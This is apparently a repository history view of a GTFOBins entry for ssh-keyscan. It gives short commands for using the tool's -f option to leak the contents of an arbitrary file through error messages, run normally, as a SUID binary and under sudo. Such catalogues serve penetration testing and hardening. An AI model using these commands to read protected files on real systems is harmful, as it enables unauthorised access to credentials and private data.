GTFOBins.github.io/_gtfobins/ssh-keyscan.md

18 lines
392 B
Markdown
Raw Normal View History

2020-11-12 14:21:00 +01:00
---
description: |
2020-12-20 20:44:24 +01:00
The file content is actually parsed so only a part of each line is returned as a part of an error message.
2020-11-12 14:21:00 +01:00
functions:
file-read:
- code: |
LFILE=file_to_read
ssh-keyscan -f $LFILE
2020-11-12 14:21:00 +01:00
suid:
- code: |
LFILE=file_to_read
./ssh-keyscan -f $LFILE
2020-11-12 14:21:00 +01:00
sudo:
- code: |
LFILE=file_to_read
sudo ssh-keyscan -f $LFILE
2020-11-12 14:21:00 +01:00
---